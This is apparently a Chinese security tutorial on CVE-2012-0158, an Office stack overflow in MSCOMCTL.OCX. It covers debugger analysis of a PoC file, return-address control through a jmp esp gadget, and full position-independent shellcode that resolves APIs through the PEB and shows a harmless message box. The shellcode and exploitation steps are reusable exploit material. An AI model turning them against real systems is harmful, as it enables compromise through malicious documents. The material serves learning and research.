cve-2012-0158是一个经典的office漏洞,漏洞原因时office在解析activeX控件时调用系统的MSCOMCTL.OCX库,此库中的函数在解析控件时存在栈溢出漏洞。
三:获取poc:Metasploit
https://www.exploit-db.com/
https://www.securityfocus.com
四:漏洞复现:
首先启动WORD,然后打开OD,附加WORD;
然后用WORD打开poc文件,此时会触发漏洞,观察OD;此时eip已被修改位41414141,观察堆栈情况,可以看出栈中的函数返回地址被修改位41414141;堆栈上方观察到一个来自MSCOMCTL模块的地址,反汇编窗口跟随查看;
根据反汇编窗口函数指令,找到函数起始位置下断点,然后F8动态调试,同时观察堆栈情况,找到触发栈溢出的指令或Call的调用;
经过F8动态调试分析,发现执行完CALL MSCOMCTL.275C876D 函数后,堆栈中函数返回地址被修改,说明这个函数内部触发了栈溢出;
用010Editor打开poc文件定位到414141位置;并结合OD的堆栈情况和IDA对
MSCOMCTL.275C876D 函数的分析,可以看出poc文件中的8282是缓冲区长度。此值设置过大导致下面调用qmemcpy函数发生溢出;
五:漏洞利用
我们将上述41414141改为jmp esp指令的地址,同时调用溢出函数的函数平衡堆栈时有ret 8,所以shellcode的起始位置应如下图所示:
接下来用WinDbg通过指令“!py mona.py jmp -r esp”来搜索合适的跳板指令;如图所示,这里我们选择0x729a0535作为跳板指令;
编写shellcode,弹出一个“Hello IOTA!”字符串,vs代码如下,Release编译后,在OD中提取opcode即可,这里不再赘述;
int main()
{
_asm
{
pushad;
sub esp, 0x50;
jmp tag_ShellCode;
// GetProcAddress\0 15
_asm _emit( 0x47 )_asm _emit( 0x65 )_asm _emit( 0x74 )_asm _emit( 0x50 )
_asm _emit( 0x72 )_asm _emit( 0x6f )_asm _emit( 0x63 )_asm _emit( 0x41 )
_asm _emit( 0x64 )_asm _emit( 0x64 )_asm _emit( 0x72 )_asm _emit( 0x65 )
_asm _emit( 0x73 )_asm _emit( 0x73 )_asm _emit( 0x00 )
// LoadLibraryExa\0 15
_asm _emit( 0x4c )_asm _emit( 0x6f )_asm _emit( 0x61 )_asm _emit( 0x64 )
_asm _emit( 0x4c )_asm _emit( 0x69 )_asm _emit( 0x62 )_asm _emit( 0x72 )
_asm _emit( 0x61 )_asm _emit( 0x72 )_asm _emit( 0x79 )_asm _emit( 0x45 )
_asm _emit( 0x78 )_asm _emit( 0x41 )_asm _emit( 0x00 )
// User32.dll\0 11
_asm _emit( 0x55 )_asm _emit( 0x73 )_asm _emit( 0x65 )_asm _emit( 0x72 )
_asm _emit( 0x33 )_asm _emit( 0x32 )_asm _emit( 0x2e )_asm _emit( 0x64 )
_asm _emit( 0x6c )_asm _emit( 0x6c )_asm _emit( 0x00 )
// MessageBoxA\0 12
_asm _emit( 0x4d )_asm _emit( 0x65 )_asm _emit( 0x73 )_asm _emit( 0x73 )
_asm _emit( 0x61 )_asm _emit( 0x67 )_asm _emit( 0x65 )_asm _emit( 0x42 )
_asm _emit( 0x6f )_asm _emit( 0x78 )_asm _emit( 0x41 )_asm _emit( 0x00 )
// ExitProcess\0 12
_asm _emit( 0x45 )_asm _emit( 0x78 )_asm _emit( 0x69 )_asm _emit( 0x74 )
_asm _emit( 0x50 )_asm _emit( 0x72 )_asm _emit( 0x6f )_asm _emit( 0x63 )
_asm _emit( 0x65 )_asm _emit( 0x73 )_asm _emit( 0x73 )_asm _emit( 0x00 )
// HelloIOTA\0 12
_asm _emit( 0x48 )_asm _emit( 0x65 )_asm _emit( 0x6c )_asm _emit( 0x6c )
_asm _emit( 0x6f )_asm _emit( 0x20 )_asm _emit( 0x49 )_asm _emit( 0x4F )
_asm _emit( 0x54 )_asm _emit( 0x41 )_asm _emit( 0x21 )_asm _emit( 0x00 )
tag_ShellCode:
// GETPC
call tag_Next;
tag_Next:
pop ebx; // 本代码起始地址 baseAddr
mov esi, dword ptr fs : [0x30]; // PEB
mov esi, [ esi + 0x0c ]; // _PEB_LDR_DATA
mov esi, [ esi + 0x1c ]; // 双向链表指针
mov esi, [ esi ]; // 链表中的第二个条目 指向的是KERNEL32.DLL 或KERNELBASE.DLL
mov edx, [ esi + 0x08 ]; // 获取Kernel32.dll基址
// 获取关键函数地址
// 1. GetProcAddress
push ebx; // 参数1: baseAddr
push edx; // 参数2: 保存Kernel32.dll 基址
// fun_GetProcAddress(IMAGEBASE,baseAddr)
call fun_GetProcAddress;
mov esi, eax; // 得到地址后保存到ESI中
// 2. 使用getProcaddress 得到LoadLibrary
lea ecx, [ ebx - 0x43 ]; // "LoadLibrary\0"
push edx;
push ecx; // 参数1:字符串
push edx; // 参数2:kernel32.dll
call esi; // getprocaddress() 在这个CALL 里改变了EDX所以在调用之前先保存一下。调用完再还原回去。
pop edx;
// 3. PAYLOAD
push ebx; // baseAddr
push esi; // addr_getprocaddress()
push eax; // addr_loadlibraryexa()
push edx; // kernel32.dll基址
call fun_PayLoad;
fun_GetProcAddress:
// 进入函数标准开头来一个
push ebp;
mov ebp, esp;
sub esp, 0x0c; // 开辟个空间,可能 用到些参数要进来
push edx; // imagebase
// 1. 获取EAT,ENT,EOT
mov ecx, [ ebp + 0x08 ]; // 把参数2给到edx,参数2是 IMAGEBASE
mov eax, [ ecx + 0x3c ]; // edx + 3c 是DOS头指向NT头的偏移
mov eax, [ eax + ecx + 0x78 ]; // eax + edx 是NT头的地址 再 + 0x78 是数据目录表[0]的偏移
mov edi, [ eax + ecx + 0x1c ]; // EAT RVA
add edi, ecx;
mov[ ebp - 0x04 ], edi; // EAT 保存到局部变量1中
mov edi, [ eax + ecx + 0x20 ]; // ENT
add edi, ecx;
mov[ ebp - 0x08 ], edi; // ENT 保存到局部变量2中
mov edi, [ eax + ecx + 0x24 ]; // EOT
add edi, ecx;
mov[ ebp - 0x0c ], edi; // EOT 保存到局部变量3中
mov edi, [ eax + ecx + 0x18 ]; // 导出表中 名称数量
//////////////////////////////////////////////////////////////////////////
// 已经获取到的数据状态:
// EAX :导出表 RVA
// ECX :IMAGEBASE
// EAT,ENT,EOT都在局部变量中
// EDI :函数名数量
//////////////////////////////////////////////////////////////////////////
// 循环对比函数名
xor eax, eax;
jmp tag_FirstCmp;
tag_CmpFunNameLoop:
inc eax; // EAX 是名称表中的下标
tag_FirstCmp:
mov esi, [ ebp - 0x08 ]; // esi = local1_2 ENT
mov esi, [ esi + eax * 4 ]; // ENT RVA 当下一次比较时,指针 + 4
mov edx, [ ebp + 0x08 ]; // 参数1:IMAGEBASE
lea esi, [ edx + esi ]; // 获取到具体函数名的指针
mov ebx, [ ebp + 0x0c ]; // 参数2:CODEBASE
lea edi, [ ebx - 0x52 ]; // "GetProcAddress"
mov ecx, 0x0e; // ecx = "GetProcAddress"长度
cld; // 改变方向从左向右进行比较
repe cmpsb; // 循环按字节进行比较
jne tag_CmpFunNameLoop; // 如果不相等则继续对比下一个函数名
// 成功后找到对应的地址
mov esi, [ ebp - 0x0c ]; // 局部变量 EOT
xor edi, edi; // 清空
// 序号的类型是WORD型的,因为它的增长是2个字节。
// 名称表的下标就是序号表的下标,从序号表中取出这个下标的内容,作为EAT中的索引
mov di, [ esi + eax * 2 ]; // 用函数名下标,也就是序号表相同下标处的序号,从地址表中找到对应的地址
// 使用序号作为索引,找到函数名所对应的函数地址
mov edx, [ ebp - 0x04 ]; // 取出 EAT
mov esi, [ edx + edi * 4 ]; // esi = 用序号在函数地址数组找到函数名对应函数地址
mov edx, [ ebp + 0x08 ]; // edx = param_1 IMAGE_BASE
// 返回获取到的关键函数地址
lea eax, [ edx + esi ]; // getprocaddress
pop edx;
mov esp, ebp;
pop ebp;
retn 0x08;
fun_PayLoad:
push ebp;
mov ebp, esp;
sub esp, 0x08;
mov ebx, [ ebp + 0x14 ]; // ebx = param_4 baseaddr
// 1. 获取MessageBoxA
lea ecx, [ ebx - 0x34 ]; // "User32.dll"
push 0;
push 0;
push ecx;
call[ ebp + 0x0c ]; // loadLibrary()
lea ecx, [ ebx - 0x29 ]; // messageboxa
push ecx;
push eax;
call[ ebp + 0x10 ]; // getprocaddress
mov[ ebp - 0x04 ], eax; //
// 2. get exitprocaddr
lea ecx, [ ebx - 0x1d ]; // exitprocess\0
push ecx; // ExitProcess
push[ ebp + 0x08 ]; // kernel32基址
call[ ebp + 0x10 ]; // GetProcAddress()
mov[ ebp - 0x08 ], eax;
// 弹框
lea ecx, [ ebx - 0x11 ];
push 0;
push ecx;
push ecx;
push 0;
call[ ebp - 0x04 ];
push 0;
call[ ebp - 0x08 ];
mov esp, ebp;
pop ebp;
retn 0x10;
}
return 0;
}
接下来修改poc文件数据,测试shellcode功能;
通过再次打开poc文件,发现“Hello IOTA!”成功弹出。